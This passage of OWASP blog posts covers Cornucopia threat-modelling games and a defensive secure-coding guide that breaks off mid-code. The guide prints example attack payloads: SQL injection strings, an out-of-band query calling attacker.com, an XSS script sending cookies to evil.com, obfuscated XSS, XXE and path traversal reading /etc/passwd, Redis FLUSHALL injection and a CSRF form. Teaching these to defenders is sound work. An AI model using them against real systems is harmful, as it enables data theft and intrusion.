This has further been simplified with the new OWASP Cornucopia website and -QR codes that we now are launching. The website will allow the development teams to much more easily find the security requirements and -controls strengthening shift-left and agile application security methodologies. Looking ahead, we will continue to empower the development teams by making it easier to use OWASP Cornucopia together with other OWASP resources. We believe integrating the online solution with other tools will increase productivity and adaptation. Not having the same information in multiple systems will make it easier to keep the information correct and up to date. We will work on increasing the interoperability between OWASP Cornucopia and other OWASP projects. By doing so, we will also help you scale your application security efforts and empower your agile cross functional development teams, and we are looking for others that would like to take part on our journey.

We are looking for your support

OWASP Cornucopia is about community. We would have gotten nowhere without the help of all the people that have supported OWASP Cornucopia over the years. This is why, when making the first version of OWASP Cornucopia, Colin Watson though it would be a great idea if the threat actors on the cards had the names from members and employees from the OWASP Foundation. The Mobile App edition follows that tradition. That is why we picked threat actor names, for the threat scenarios on the cards, from OWASP Global board, OWASP Staff, project members and OWASP chapter leaders from around the world, but we still need your support. We are looking for volunteers that would like to help us improve the new website and that would like to help translate the materials into various languages, this to ensure that developers who don't have English as their mother tongue, understand the security requirements and controls presented to them. We are also looking for ideas and help in maintaining and improving the new website to ensure it becomes a valuable tool for everyone looking at solving application security challenges.

OWASP Cornucopia

Learn how to play OWASP Cornucopia:

How to do threat modeling for agile mobile app development?

Johan Sydseter — Thu, 06 Feb 2025 19:59:33 +0000

Did you know that there is a game for threat modelling mobile apps? In Admincontrol we are using OWASP® Cornucopia to scale our application security efforts. Here is how...

The "OWASP Cornucopia - Mobile App Edition" is mapped to the OWASP Mobile Application Security Verification Standard (MASVS v2.0) and OWASP Mobile Application Security Testing Guide (MASTG v1.7), only available in English, for now. The deck has six suits of 13 cards plus two jokers, with the suit names taken from MASVS: Platform & Code (PC), Authentication & Authorization (AA), Network & Storage (NS), Resilience (RS), Cryptography (CRM) and Cornucopia (CM) which contains threats related to MASVS Privacy requirements, and where we also have added some nasty cards related to mobile malware.

So how do you gamify threat modeling and application security design? I would start with just playing the game. Get a group of people together at your company with an interest in security. It can be testers web developers, mobile developer, doesn’t matter. Buy pizza, beer, candy or coffee get together and just do it. Don’t think about it, have fun and just do it. Why?

Agile Application Security

Because it’s the fastest way of creating value and showing results.
We want a culture of finding and fixing design issues, and we want people collaborating and having fun and we know that everyone is on a journey of discovery. We acknowledge that we do not have all the answers, but we believe we can find them together.
And we want to do it now, we do not want to partake in wishful thinking.
We know it won’t be perfect, but we will continuously refine the process and models as we learn more about what it is we are making.
We want to adapt application security to agile development processes, not the other way around.
And if you want to know more about this, you should check out the Threat Modeling Manifesto where these values come from.

Adam Shostack’s 4 Question Frame for Threat Modeling

And to make is as simple and agile as possible so that everyone can partake and understand the process, we narrow it down to finding the answers to 4 simple questions:

What are we working on?
What can go wrong?
What can we do about it?
Did we do a good job?

(source: Shostack's 4 Question Frame for Threat Modeling)

Enlist a Volunteer Army: Get Others to Help You and Help Them as Well.

It sounds so simple, but it really isn’t because the next part is a little bit more difficult. To make it stick, you need to enlist a volunteer army of security minded people willing to meet on a regular basis. Once every two weeks is enough, but even if it’s just every two weeks, it’s essentially time and resources that those people will invest in spending time with you doing application security work.
And the way you sell it is by saying that it’s a way for you to help each other doing secure agile software development. And that’s it.
They don’t need to be security champions. It just needs to be people representing their development team that want to help with application security.
And the next thing you know, you have one person representing every team doing application security and threat modeling, doing the job on your behalf.
Not so that you don’t need to, but because it’s the only way you can make them feel good about it when they get the recognition for what they have done and collect the price.

Build a Guiding Coalition: Get Everyone on Board

Present what you're doing to your CISO, CTO and product owners, get everyone on board and build a guiding coalition to help you and support you.
If you have already had a group of security minded people that you have done threat modeling with, then this part is easy.
Because even though everyone is asking themselves what this crazy group of people are doing, they will respect it and support it as long as it's working.
So, all you need to do is write down all the whats, the whys and the hows, add them to a presentation, then present it to your CISO/CTO+product owners.
Make sure you make them understand that you will be there and give support, then ask for a pilot project where you can introduce threat modeling for mobile applications.
It can be a new mobile app, a new mobile api or something much smaller. Doesn’t matter how big or small it is.

Get Everyone to Commit

What matters is that you make everyone commit to what you will be doing.
Don’t just do an online session. Buy your plane ticket, book your hotel, and spend 2 days with the mobile development team.
Not all development teams like to draw models, but ask the team to create a simple model. So remember to point out that the model doesn’t need to be perfect. It just needs to show the basic processes, storage, and data flows that they will be implementing.
It shouldn’t take more than 1 hour to complete it, but make sure they understand that it needs to be there before the threat modeling session.

Also, buy some funny prices. If you go to the OWASP Cornucopia website, you will find a lot of suggestions for prices, but it’s better if you use your imagination, come up with some ideas yourself, and make some fun out of it.

But before all of that, get the cards, either go to copi.owasp.org to play the online version, or download the high-res design files from cornucopia.owasp.org and get them printed. You can also buy the physical decks at one of our webshops where you can buy the decks as well. A small part of the profits from the sales goes to the OWASP® Foundation.

Let the Cards Speak and the Team Decide.

You don’t need to be a specialist on mobile application security to lead a OWASP Cornucopia mobile threat modeling session. Letting the team take control over the session themselves is what works best. Once a card is played the player needs to explain how the threat may be applicable to their mobile application. If the rest of the team agrees that it is the case, then the player gets a point. Then later, when adding the specific threat to the threat model, the team can use the references on the card to figure out what they need to do in order to mitigate the threat. It allows the team to immediately create a security focused user story in Jira and connect that to the MASVS and MASTG requirements and tests which should give guidance both in regard to implementing a secure design and create automated tests that can be used in MAS testing.

The Role of the Application Security Engineer

The application security engineer's role, during the game, is to support the team by recording the cards that score points on a score sheet so that you can keep track of what cards are played, and what the team discuss during the game. Later, when the development team create security focused user stories, you can help them to remember what it was they were discussing during the game and which threats they identified as relevant and important for creating a secure design for their application.

When application security engineers no longer are bottlenecks in the agile development processes, scaling application security efforts becomes much easier. Cornucopia is empowering and teaching the development teams how to do threat modeling, what to test and implement, what to plan, and how to execute security work. It is helping to deliver faster, make the teams more independent, and shifting security efforts left. Application security engineers are needed, but the focus is turned towards facilitation, cheerleading and training.

Story board mapping – Create user stories

After you have finished the game, don’t stop there, have a second session with the team where you look at the cards that scored and create security focused user stories. If the scope of what you are building is large, do a storyboard mapping where you group the cards together that share the same MASVS and MASTG references, then get the team to decide what it is they are going to implement and test. If you’re not located at the same location, you can do this by using a Digital solution for agile online collaboration like Figma, or if you’re co-located, just create a large cardboard and either print out the description for each cards with their requirements, or stick the cards themselves to it and let the team create user stories on post-it notes based on MASVS/MASTG and the notes that was taken during the game.

Then don’t forget to ask the product owner, during the session, to add the stories directly into your issue tracking software under the epic that the team is working on. This way, they will be mandated and empowered to implement the security controls they identified in order to finish the epic.

Threat modeling – Keep track of the risk

Also, give the team a threat modeling tool and ask them to add the Jira issues to the threats in the threat model so that the team can keep track of which security controls the team has implemented in order to mitigate the threats they identified.

Don’t forget to celebrate your short-term wins!

And don’t forget to celebrate your short-term wins, present what the team is doing to everyone in the organization, buy pizza and beer, and make noise about how the development team is having success with what they are doing. Wins are the molecules of results, they must be collected, categorized and communicated – early and often – to track progress and energize your volunteer army to drive change.

OWASP Cornucopia

Learn how to play OWASP Cornucopia:

Secure Coding Principles

Martin Belov — Mon, 09 Sep 2024 10:45:47 +0000

After exploring how to create a secure and persistent application architecture in Secure & Resilient Design article, we have learned how to create a solid foundation for our system.
Now our goal is to ensure security in the code of its components, because about 75% of attacks come from the application layer. We are going to describe the principles of secure coding and best solutions to implement them.

Never Trust User Input

This is the first and most fundamental principle that you need to wrap your head around. Any user input should be validated on the server side, and the content displayed to the user should be sanitized.

We divide validation into 2 types: syntax validation and semantic validation.
Syntax validation implies that the data matches the format that we expect. For example, validating that the value entered is a number, e-mail address corresponds to a standard format, or the date is in the correct format (e.g. YYYY-MM-DD).
Semantic validation, on the other hand, checks that the data is semantically correct. This can include checking that the date of birth is not a later than current one, that the age is within a reasonable range (e.g. 0 to 150 years old), or in another field, that the transaction amount does not exceed the balance available to the account.

I'm sure most of you have heard about attack methods such as SQL, NoSQL, XSS, CMD, LDAP, and similar injections. Despite the fact of everyone knowing about them, the Injection vulnerability type is still at the leading positions in most applications, according to the OWASP Top 10. Why is this?

The problem is that developers often underestimate the complexities of security, do not consult with security as they design software, or at best rely on out-of-date security practices. Fast pace of development, business side pressures, and limited resources cause teams to focus on functionality and deadline over security. Many organizations also rely on WAF to create the illusion of total security against attacks, when in reality WAF is addition to other security practices. So let's say that, if Morpheus offered them a pill, they would choose the red one.

Let's refresh our memory, and look at the top application vulnerabilities caused by missing or incorrect input validation, and determine the most effective methods to mitigate them:

SQL Injection

SQL Injection is a type of injection attack that both rookies and security experts rank as the most likely. The attack is successful if SQL syntax data is “injected” via user input in a way that is read, modified, and executed in the database.

Basic examples of SQL injection in action:

String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

If the attacker sends admin' -- in the input, then the final query will be:

SELECT * FROM users WHERE username = 'admin' --' AND password = ''

-- commenting out a password check, thus depending on the context, may give away access to the system. Obviously, in case of real attacks, we should expect more intricate payloads.

For example, to bypass basic filters, the following are often used Hexadecimal SQL Injection:

String query = "SELECT * FROM users WHERE user_id = " + userId;

Let's convert 1 OR 1=1 -- into hexadecimal format and get 0x31204F5220313D31. If we submit this hexadecimal value into the form, we will get the following query:

SELECT * FROM users WHERE user_id = 0x31204F5220313D31

which is equivalent to:

SELECT * FROM users WHERE user_id = 1 OR 1=1 --

As should be evident by now, this will return all users.

How does a threat actor determine if an attack surface is vulnerable to SQL injection?

Typically, blind SQL injections are used to identify this vulnerability. The two most popular types are: Time based SQL Injection and Out-of-Bound SQL Injection. They are often used to identify vulnerable targets among the mined database of sites operating on the same basis (e.g. in WooCommerce).

Time based SQL Injection
The name speaks for itself. Let's take a look at the following example input:

' OR IF(1=1, SLEEP(10), false) --

The whole point of the attack is to monitor the server response time. If there are delays in the response (in our case around 10 seconds), it means that the application is vulnerable to SQL Injection and the attack can be launched.

Out-of-Bound SQL Injection
This is a more tedious SQL injection attack that relies on asyncronous database entries and its success depends heavily on the configuration of the target server. As an example, let's imagine that our target is using Microsoft SQL Server.

The attacker runs their server on attacker.com with the goal of intercepting all incoming DNS requests to the target and routing them to the attacker's server, which is the server vulnerability identifier.

After that, they send the following payload:

'; EXEC master..xp_dirtree '//attacker.com/sample'--.

If the database is misconfigured, xp_dirtree initiates a DNS lookup for the domain attacker.com, attempting to resolve the network path //attacker.com/sample. The attacker is not trying to steal data this way, their goal is to detect the presence of a vulnerability, which they do in this method as their server intercepts DNS requests to themselves.

Mitigation

The only appropriate solution for mitigating this type of vulnerability is to validate the input and then use Prepared Statements.

Validation alone will not save you from SQL injections. It is hard to make a universal rule, so we need to guarantee isolation of user input from query. Validation here acts as an additional yet mandatory layer of security to make sure that the data is syntactically and semantically correct.

Here's an example of a proper code, with validation and using Prepared Statement. We will use OWASP Netryx Armor as the validation tool:

armor.validator().input().validate("username", userInput)
        .thenAccept(validated -> {
            var query = "SELECT * FROM users WHERE username = ?";

            try (var con = dataSource.getConnection()) {
                var statement = con.prepareStatement(query);
                statement.setString(1, validated);

                // execute query
            }
        });

If our goal is to passively block such data, machine learning models like Naive Bayes do a good job detecting injection attempts.

NoSQL Injection

It is a popular misconception that NoSQL databases are not susceptible to injection attacks. The protection techniques here are the same as SQLi - input validation, data isolation and strict typing.

MongoDB

Despite the fact that the MongoDB driver for Java, especially in recent versions, effectively isolates the data coming inside the filters, we still need to look at examples to understand the principle of vulnerability.

Let's imagine we have an endpoint; it returns users by their name.

POST /api/user
Accepts: application/json

Searching for users looks like this under the hood:

db.users.find({
  username: body["username"],
});

MongoDB allows you to construct complex queries that include the following operators:

$ne - not equals
$gt - greater than
$lt - less than

If the attacker sends the following construct in the body of the request:

{
  "username": { "$ne": null }
}

then it will construct the following query to the database:

db.users.find({
  username: { $ne: null },
});

To describe the query in human terms, it literally means “find me all users whose username is not equal to null”.

Redis

In Redis, injection is possible if you use the Command-Line Interface (CLI) or if your library, through which you work with Redis, also operates through the CLI.

Let's imagine that we need to store a value obtained from a query in Redis.

SET key {user_data}

An attacker can use the \n character (line break) to execute a database query on top of their own. For example, if they submit “userData”\nSET anotherKey “hi nosqli”, it will cause the following commands to be executed:

SET key "userData"
SET anotherKey "hi nosqli"

Or worse, they can delete a base by subming:
“userData”\nFLUSHDB (or FLUSHALL, to delete all bases).

XSS Injection

Also an extremely popular injection attack method, which unlike SQL Injection, targets the user rather than the server. The ultimate goal of this attack is to execute JS code in the user's browser.

There are four main varieties of this attack:

Stored XSS

Stored XSS occurs when an attacker submits malicious data to the server and the server then displays this data to other users.

For example, let's say we have a movie site where you can leave comments. The attacker sends a comment with the following content:

Very interesting film about extremely sad fairytale. <script>var img=new Image();img.src='http://evil.com/steal-cookie.php?cookie='+document.cookie;</script>

Once the comments have loaded, depending on the browser, the DOM tree will render the script and we'll get this final HTML:

<body>
  <!--Some code--->
  <div id="comments">
    <div class="comment">
      <p>Very interesting film about extremely sad fairytale.</p>
      <script>
        var img = new Image();
        img.src = "http://evil.com/steal-cookie.php?cookie=" + document.cookie;
      </script>
    </div>
    <div class="comment">...</div>
  </div>
  <!--Some code--->
</body>

Depending on the browser, the <script> tag may be inside the <p> tag, but this will not prevent the script from executing.

Reflected XSS

Let's go by the name, an attack occurs when a malicious script is “reflected” from a web-server in response to an HTTP request. To understand this, let's look at the following scenario:

We have an endpoint /error with a query parameter message that specifies the error message. Here is an example HTML file of the page:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <title>Error Page</title>
  </head>
  <body>
    <h1>Error Page</h1>
    <p>Your error message: <strong>${message}</strong></p>
  </body>
</html>

If an attacker sends a link to a user, with the following payload:
http://example.com/error?message=%3Cscript%3Ealert('XSS');%3C%2Fscript%3E, the server will replace the placeholder ${message} with the value from query, and return an HTML file with the malicious script.

DOM-based XSS

In this type of XSS injection, all processing takes place directly on the client, bypassing the server. Let's take a look at the error screen as an example:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <title>Error Page</title>
  </head>
  <body>
    <h1>Error Page</h1>
    <p>Your error message: <strong id="error-message"></strong></p>
    <script>
      const params = new URLSearchParams(window.location.search);
      const message = params.get("message");
      document.getElementById("error-message").innerHtml = message;
    </script>
  </body>
</html>

As you can see, in the case of such HTML page, the query parameter is processed by the client itself, not by the server. If this example can still be filtered through the server, the content in the case of using hashes (for example: http://example.com/#<script>alert('XSS');</script>), does not pass through the server and cannot be filtered by it.

Polymorphic XSS

Similar to polymorphic viruses, each time malicious code is executed, its code changes. To avoid pattern-based detection, the attacker often uses multiple encoding, and to hide the code, creates it on the fly.

For example, let's take our “innocent” script:

<script>
  alert("XSS");
</script>

We can present it in a more complex way as well. Not so heavy obfuscation, so to say:

<script>
  let a = String.fromCharCode;
  let script =
    a(60) + a(115) + a(99) + a(114) + a(105) + a(112) + a(116) + a(62);
  let code =
    a(97) +
    a(108) +
    a(101) +
    a(114) +
    a(116) +
    a(40) +
    a(39) +
    a(88) +
    a(83) +
    a(83) +
    a(39) +
    a(41);
  let end =
    a(60) + a(47) + a(115) + a(99) + a(114) + a(105) + a(112) + a(116) + a(62);
  document.write(script + code + end);
</script>

Now let's encode it two times and pass the parameters:
http://example.com/?param=%253Cscript%253Elet%2520a%2520%253D%2520String.fromCharCode%253B%250Alet%2520script%2520%253D%2520a%252860%2529%2520%252B%2520a%2528115%2529%2520%252B%2520a%252899%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528105%2529%2520%252B%2520a%2528112%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252862%2529%253B%250Alet%2520code%2520%253D%2520a%252897%2529%2520%252B%2520a%2528108%2529%2520%252B%2520a%2528101%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252840%2529%2520%252B%2520a%252839%2529%2520%252B%2520a%252888%2529%2520%252B%2520a%252883%2529%2520%252B%2520a%252883%2529%2520%252B%2520a%252839%2529%2520%252B%2520a%252841%2529%253B%250Alet%2520end%2520%253D%2520a%252860%2529%2520%252B%2520a%252847%2529%2520%252B%2520a%2528115%2529%2520%252B%2520a%252899%2529%2520%252B%2520a%2528114%2529%2520%252B%2520a%2528105%2529%2520%252B%2520a%2528112%2529%2520%252B%2520a%2528116%2529%2520%252B%2520a%252862%2529%253B%250Adocument.write%2528script%2520%252B%2520code%2520%252B%2520end%2529%253B%250A%253C%252Fscript%253E

This already looks harder and less comprehensible, doesn't it? To further hide their intentions, attackers can use triple and quadruple encoding. When data is passed through a query, the only limit the browser has is the length of the final query, not the level of encoding.

Mitigation

XSS occurs as a result of data either being displayed at the client side without sanitization or not being validated when it comes to the server, right?

So we need to do the following:

Validate the data when it comes into the server
Sanitize the data at the moment of issuing to the client
Configure a Content-Security policy to prevent malicious scripts from being executed by limiting script sources with the use of directives

All of this is handled by OWASP Netryx Armor.

Validation:

var userInput = ....

armor.validator().validate("ruleId", userInput)
    .thenAccept(input -> {
        // after validation
    });

Sanitization:

var outputHtmlData = ....;
var outputJsData = ....;

var sanitizedJsData = armor.encoder().js(JavaScriptEncoderConfig.withMode(JavaScriptEnconding.HTML)
    .encode(outputJsContent);

var sanitizedHtmlData = armor.encoder().html().encode(outputHtmlData);

OWASP Netryx Armor configures a Netty-based web server including Content-Security policies right out of the box. For secure configuration of policies, it is highly recommended to refer to the OWASP Cheat Sheet Series

XXE Injection

Let's imagine that we provide an API for integration to partners who send us order data in XML format. Then they can view the order information from their personal dashboard.

As a result, the attacker has sent us XML of the following kind:

<?xml version="1.0"?>
<!DOCTYPE order [
  <!ELEMENT order ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<order>
  <customer>John Doe</customer>
  <items>&xxe;</items>
</order>

If the XML parser is misconfigured, the specified contents of the /etc/passwd file will be written to the <items> block as the injection.

Mitigation

It is important to configure our XML parser correctly and is a technique common to all programming languages:

Disable the use and loading of external DTDs (Document Type Definition)
Disable processing of external generic entities
Disable processing of external parametric entities

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

Path Traversal Attack

This is another popular problem caused by the lack of input validation, which allows files to be retrieved outside of the server's main directory.

Let's imagine we are outputting some content on the server as follows:

@Controller
public class FileDownloadController {

    private final Path rootLocation = Paths.get("/var/www/files");

    @GetMapping("/download")
    public ResponseEntity<Resource> download(@RequestParam("filename") String filename) {
          Path file = rootLocation.resolve(filename);

          Resource resource = new UrlResource(file.toUri());

          if (resource.exists())
              return ResponseEntity.ok().body(resource);

          return ResponseEntity.notFound().build();
    }
}

And the user performed the following query:
GET http://your-server.com/download?filename=../../../../etc/passwd

According to the code, the final path will be /var/www/files/../../../../etc/passwd, which is equivalent to /etc/passwd. This now means if the server has permissions to traverse to this directory, will output the entire etc/passwd file.

Mitigation

Mitigation, as I'm sure you've already guessed, is quite simple. All you need to do is normalize the final path and check if you are within the correct directory.

OWASP Netryx Armor allows you to customize the desired directory and validate the resulting directory:

armor.validator().path().validate(finalPath)

Parameter Tampering

Let's imagine we are running our own e-commerce site. A user places an order for $100 on their personal credit card. To the server, a typical transaction would look like this:

<form action="https://sample.com/checkout" method="POST">
  <input type="hidden" name="merchant_id" value="123456" />
  <input type="hidden" name="order_id" value="78910" />
  <input type="hidden" name="amount" value="100.00" />
  <input type="hidden" name="currency" value="USD" />

  <label for="cardNumber">Card number:</label>
  <input type="text" id="cardNumber" name="cardNumber" />

  <label for="cardExpiry">Expires:</label>
  <input type="text" id="cardExpiry" name="cardExpiry" />

  <label for="cardCVC">CVC:</label>
  <input type="text" id="cardCVC" name="cardCVC" />

  <!--Other fields-->

  <button type="submit">Pay</button>
</form>

How does e-commerce work once that message is submitted? A user submits an order with a webhook enabled form. This form communicates order details, user data and payment data (see above) back to the merchant's server. The merchant's server then sends a message back to the user with a message like "Thanks for submitting your order!" but behind the scenes, the status message typically looks like the following:

{
  "order_id": "78910",
  "merchant_id": "123456",
  "status": "success",
  ...other fields

  "signature": "abcdefghijklmn...xyz"

}

What if the $100 order could turn into one that was only $1.00? This attack could be accomplished via changing the order cost with developer tools on an insecure form where input validation fails yet still submits the order. In this described attack scenario, the server will still receive a notification with the status success, but the purchase amount will be different.

If the server does not check the integrity of data that can be changed by the user, it will lead to a Parameter Tampering attack. A signature is provided for verification on the service side. This can apply not only to fields that the user submits via forms, but also to cookie values, headers, etc.

Mitigation

Data that depends on user input and whose authenticity cannot be guaranteed, often due to dependency on external services beyond our control, requires protection using HMAC or digital signatures.

Imagine if you issued JWT tokens without signatures. Any user could decode the token, replace the parameters in it with their own and send them to the server.

If you will be using digital signatures, in the Secure Cryptography section we'll look at which algorithms are the best choice right now.

ReDoS & RegEx Injection.

In many scenarios, we've discussed syntax validation, where we verify that the data actually conforms to the format we need. One of the most popular methods for format validation are RegEx expressions.

When a regular expression tries to find a match in a string, it uses a mechanism called back-tracking. This means that the regex “tries” different combinations to match the pattern to the text, and if something doesn't match, it goes back and tries another path.

If our regex contains constructs that cause excessive backtracking, it will cause the process to take a very long time to complete. This is often due to the use of greedy quantifiers: +, *.

Let's not go far and consider the following popular regex: ^(a+)+ with matching the following text: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX.
We have 2 nested greedy quantifiers here, which forces the RegEx engine to split the sequence from a into groups in every possible way. As a result, the number of checks we have starts to grow exponentially with each addition of a, and we will have a full match time of more than 30 seconds.

Example of injection

Let's imagine that we give users the ability to protect their social media groups from spam comments by giving them the ability to add their own regular expressions to filter messages.

If an attacker adds a regular but malicious expression, and writes a post with a lot of backtracking, it will cause the processing flow to stall.

Mitigation

The easiest and most effective way to defend against this attack is to limit the time of execution of the regular expression. This is done simply by running the validation process in a separate thread (or virtual thread) and specifying the operation timeout.

The OWASP Netryx Armor validator is resistant to this type of attack.

Access Control

Access control primarily involves authenticating the user (simply put, identifying who has the access) and authorizing them (whether they have the right to access us). Broken Access Control is the top #1 vulnerability that is found in applications in one way or another.

Before we look at the types of access controls, let's first establish one important rule: All endpoints must be protected out of the box, and public endpoints must be explicitly specified, not the other way around.

MAC

MAC (Mandatory Access Control) is a strict access control model where policies are defined by the system and cannot be changed by users under any circumstances to avoid accidental or malicious escalation of rights.

Typically, in MAC we set the type of protected object, and a security level label. Government agencies, for example, typically use labels like TOP SECRET, SECRET, CONFIDENTIAL, and UNCLASSIFIED.

This principle also implies following the need to know principle, so if an entity (e.g. a user) is granted access to the SECRET security level, it is mandatory to specify which specific categories of that security level should be granted access to. Simply put, if you grant a user access to documents of confidential level, it is necessary to specify which specific types of documents the user has access to.

DAC

DAC (Discretionary Access Control) is a less strict methodology than MAC for access control. In this model, access to a protected object by other entities is determined not by the system, but by the owner of the object. Accordingly, the use of this model is justified when users/processes have to manage access to their data themselves. The model implies that access can be granted not only to individual users, but also to certain groups to which those users are assigned.

We encounter DAC almost every day in the file system of Unix based operating systems and Windows. In it, it consists of the following parameters:

File Owner - someone who is able to grant rights to their resource.
Group - users who are allocated certain rights to the resource.
Access Rights - write/read/execute rights and combinations thereof.

RBAC

RBAC (Role Based Access Control) is the most popular and used type of access control that is used in web applications. It is convenient and effective in most scenarios:

As the name implies, every entity in our system has roles assigned to it, and each role has a list of permissions or policies that are used to further determine whether it can perform a certain action or not. Roles can inherit each other's permissions.

Simply put, let's imagine we have a blog with 4 roles: USER, AUTHOR, EDITOR and ADMIN. Let's represent them in JSON format and give them the format of permissions:

{
  "roles": {
    "USER": {
      "inherits": [],
      "permissions": [
        "article.view.published",
        "comment.create",
        "comment.view.*",
        "comment.edit.own",
        "comment.delete.own"
      ]
    },
    "AUTHOR": {
      "inherits": ["USER"],
      "permissions": [
        "article.create.draft",
        "article.edit.own",
        "article.view.own",
        "article.submit.for_review"
      ]
    },
    "EDITOR": {
      "inherits": ["AUTHOR"],
      "permissions": [
        "article.edit.*",
        "article.publish",
        "article.unpublish",
        "comment.moderate",
        "article.assign.to_author"
      ]
    },
    "ADMIN": {
      "inherits": ["EDITOR"],
      "permissions": [
        "user.create",
        "user.edit",
        "user.delete",
        "site.configure",
        "article.delete.*",
        "comment.delete.*",
        "site.manage_advertising"
      ]
    }
  }
}

In our blog management system, the USER role allows you to view published articles and interact with comments. AUTHOR inherits the USER rights and can additionally create and edit your articles by submitting them for review. EDITOR inherits the rights of AUTHOR and can publish, unpublish and edit only his/her articles, as well as moderate comments and assign tasks to authors. The ADMIN has full access to all aspects of the system, including user management, site customization, and content removal.

Often (including in our example) a wildcard is allowed in the permissions to mean ALL. For example, we have the permissions:

article.delete.own - Gives the right to delete your own articles.
article.delete.userid - The right to delete a user with ID userid.

And now we want to give EDITOR the right to delete all articles. In this case, we write:

article.delete.* - Here * is a wildcard.

Often, in addition to roles, users are also allowed to assign additional rights (or take away rights that their role has).
In order to take away a right, the - sign is usually added before the right. For example, to take away the right to moderate comments from a user with the EDITOR role, we add the following policy:

-comment.moderate note that “-” at the beginning.

Session Management

Once we authenticate a user, we create a session for them, and further store their session ID in cookies. The important thing here is to make sure we have considered all the risks during the authentication process and afterwards, so let's look at the main threats we need to consider:

Session Fixation

The goal of this attack is simple and straightforward - the attacker must make a legitimate user authorize with the attacker's session ID.

Let's consider a simple example:
Depending on the web server architecture, it is often allowed to pass the session ID not via Cookies, but via Query parameters (this is especially possible if the user blocks cookies).
As a result, when attempting to authorize, the attacker is given the session ID (e.g. /login?sid=ABCDEFGH..... Using phishing or any other methods, they can force the user to click on the link where their session ID is specified and authorize, after which the attacker is authorized along with the user.

Mitigation

The mitigation of this attack vector is obvious - after a user is successfully authenticated, their current session ID should reset. In most of popular web frameworks (including Spring Boot, Quarkus), this is the default behavior, but it worth specifying, in case something is changed:

@Bean
public SecurityFilterChain secure(HttpSecurity http) throws Exception {
    return http.sessionManagement(session -> session.sessionFixation().migrateSession())
            .build();
}

CSRF Attacks

CSRF (Crosst Site Request Forgery), also known as XSRF, is a type of attack on web applications where the attacker's goal is to perform an action on behalf of a user already authenticated to the system. That is, the attacker's goal is to trick the user into accidentally clicking on a special link or downloading a specific resource (such as an image), which will result in a request being executed on the user's behalf on another site where the user is authorized. For example, the website to which the user was redirected by the attacker may have had such a form and a script when downloading:

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000" />
  <input type="hidden" name="to_account" value="123456789" />
</form>

<script>
  document.forms[0].submit();
</script>

Clearly, in real-world scenarios, scripts are much more sophisticated, but techniques for defending against CSRF attacks are effective for all:

Mitigation

CSRF tokens
The most popular method of CSRF protection is the use of CSRF tokens. These are random tokens that are issued after authentication, which can even be stored directly in forms issued to the user. Most web frameworks support them out of the box:

@Bean
public SecurityFilterChain secure(HttpSecurity http) throws Exception {
    return http.sessionManagement(session -> session.sessionFixation().migrateSession()) // migrating session as in previous example
            .csrf(csrf -> csrf.csrfTokenRepository(/* your repository */)) // enabling CSRF
            .build();
}

However, depending on security requirements, they can be issued according to the following principle:

For most applications: 1 CSRF token per session. When the session is reset/updated, the token will be updated.
For high risk applications: CSRF token should be updated every request sent by the user (e.g. issued in X-CSRF-TOKEN header for subsequent request)

Same-Site attribute setting
If the application architecture allows, you can set the Same-Site attribute to Strict or Lax by session cookies. This will let the browser know that in the case of Strict, the cookie can only be sent if the user interacts on the site for all requests, and in the case of Lax, to restrict sending only with insecure requests (e.g. POST requests).

Use of tokens instead of sessions
Using JWT tokens instead of cookie sessions, and sending them in headers is a viable option to protect against CSRF attacks, because it requires access to localStorage which is separated between sites, but still, practices described above are a good tone.

Secure Error Handling

Our application, like any other information system goes from one state to another, and it is possible that eventually we will have to switch to the error state.
We've already discussed this in a previous article, but let's do it again. Once an application fails and is in error state, it is critical for it to fail safe. An error can be considered to be failing safe if:

No technical details of the system were issued as a result of the error
The integrity and confidentiality of data has not been compromised
The system was able to return to a normal, operational state
The information about the error was properly logged, for further analysis

In the context of secure programming, we especially need to pay attention to how we handle errors in our application. In many web frameworks like Spring Boot error handling is centralized, allowing them to be handled very efficiently.

By default, in case an error we don't know is called (trivially, IllegalStateException, it can stand for anything), most frameworks will handle it in a response with the status code 502 Internal Server Error, and put the stacktrace right in the response. This is a direct path to Information Disclosure - it will give away a lot of information not just about the application's programming language, but about its internal structure. It exists only to speed up the development process so that you don't have to connect to the server an extra time to see the error, but when you go into production, this behavior must be disabled.

Information Disclosure is actually a very dangerous error that can lead to catastrophic consequences. Don't forget, if your application becomes a target for attackers, the very first and almost the most basic step in exploiting vulnerabilities is gathering information about the system. Because knowing how your system is organized makes it much easier to find vulnerabilities in it.

What have we learned from this? It is much easier and more convenient to designate a number of custom errors that are under our control (i.e. we will understand what exactly went wrong) and process them in a centralized way. And all other errors unknown to us - securely logged without issuing a stacktrace to the user. Securely logged means that even though logs are stored locally (or on some log server), they should not contain sensitive information (e.g. API keys, passwords, etc.). Failure to do so will come back to bite you in case of certain internal threats.

For example, let's imagine that a user wants to find some order by ID. In case it is not found, we will call our own OrderNotFoundException error:

public class OrderNotFoundException extends RuntimeException {
    private final long orderId;

    public OrderNotFoundException(long orderId) {
        this.orderId = orderId;
    }

    public long getOrderId() {
        return orderId;
    }
}

Let's declare a general error style, specifying the message we can display to the user:

public class ErrorResponse {
    private final String errorCode;
    private final String errorMessage;

    public ErrorResponse(String errorCode, String errorMessage) {
        this.errorCode = errorCode;
        this.errorMessage = errorMessage;
    }

    public String getErrorCode() {
        return errorCode;
    }

    public String getErrorMessage() {
        return errorMessage;
    }
}

And finally process them. Don't forget, we process all the errors we know about, and the unknown ones are logged and returned to the user as little information as possible.

@ControllerAdvice
public class GlobalExceptionHandler {

    private static final Logger logger = LoggerFactory.getLogger(GlobalExceptionHandler.class);

    @ExceptionHandler(OrderNotFoundException.class)
